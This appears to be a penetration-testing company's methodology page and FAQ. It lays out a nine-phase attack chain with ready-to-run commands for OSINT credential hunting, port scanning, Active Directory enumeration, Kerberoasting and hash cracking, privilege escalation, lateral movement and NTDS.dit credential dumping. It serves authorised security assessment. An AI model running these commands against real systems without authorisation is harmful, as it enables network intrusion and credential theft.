Phase 1
External OSINT & Reconnaissance
Objective: Discover exposed infrastructure and leaked credentials.
wget -r -l2 -A pdf,doc,docx,xls,xlsx https://$DOMAIN
find . -name "*.pdf" -exec pdftotext {} - \; | grep -iE "password|user|login|admin"
Explore the testing approaches, decision logic, and structured workflows RedArk Cyberlabs uses to deliver consistent, high-confidence security assessments.
Method Flow Map
ValidatedMethodologies Reference
The RedArk Standard Operating Procedure for Offensive Security. This framework ensures repeatable, exhaustive, and rigorous testing across all client engagements.
Phase 1
Objective: Discover exposed infrastructure and leaked credentials.
wget -r -l2 -A pdf,doc,docx,xls,xlsx https://$DOMAIN
find . -name "*.pdf" -exec pdftotext {} - \; | grep -iE "password|user|login|admin"
Phase 2
Objective: Map the external and internal attack surface.
nmap -p- --min-rate 1000 -T4 $TARGET -oN nmap/all_ports.txt
nmap -sV -sC -p $(grep -oP '^\d+(?=/tcp)' nmap/all_ports.txt | tr '\n' ',') $TARGET -oN nmap/deep_scan.txt
Phase 3
Objective: Identify domain users, groups, and attack paths.
bloodhound-python -u $USER -p $PASS -d $DOMAIN -ns $DC_IP -c All
netexec smb $IP -u $USER -p $PASS --pass-pol
Phase 4
Objective: Extract and crack hashes to gain initial access.
impacket-GetUserSPNs $DOMAIN/$USER:$PASS -dc-ip $DC_IP -request -outputfile kerberoast.hashes
hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt
Phase 5
Objective: Escalate from standard user to Administrator/SYSTEM.
.\winpeas.exe
.\PrintSpoofer.exe -i -c cmd
Phase 6
Objective: Escalate from standard user to root.
./linpeas.sh
sudo -l
find / -perm -4000 -type f 2>/dev/null
Phase 7
Objective: Move across the network using compromised credentials.
netexec smb $CIDR -u $USER -p $PASS --continue-on-success
evil-winrm -i $TARGET -u $USER -p $PASS
Phase 8
Objective: Achieve Domain Admin and extract the NTDS.dit.
impacket-secretsdump $DOMAIN/Administrator:$PASS@$DC_IP -just-dc
Phase 9
Objective: Document findings, capture evidence, and provide actionable fixes.
Note: All findings must include a CVSS score, clear business impact, and specific remediation steps.
Methodology FAQ
Clear answers on how scope, testing approach, and reporting decisions are made so teams and founders know exactly what to expect.
We align the methodology to your stack, business risk, and threat profile first. Then we map relevant standards and test cases so coverage is practical, evidence-based, and appropriate for your environment.
Both. Automation helps surface broad issues quickly, while manual testing verifies exploitability, logic flaws, and chained attack paths that tooling alone often misses.
We rank findings by technical severity and business impact together. Each issue is clearly labeled so leadership can prioritize risk decisions and engineering can act on remediation order with confidence.
Every finding includes concise fix guidance, verification context, and practical implementation notes. We also provide a walkthrough so technical and non-technical stakeholders understand trade-offs and next steps.
Yes. We can phase scope around your highest-risk assets first, then expand over time. This keeps assessments actionable and budget-aware without compromising testing quality.
Need a tailored plan for your stack? Book a scoping conversation.
Share your stack and constraints, and get a focused test plan with clear deliverables.
Tailored scoping, clear pricing.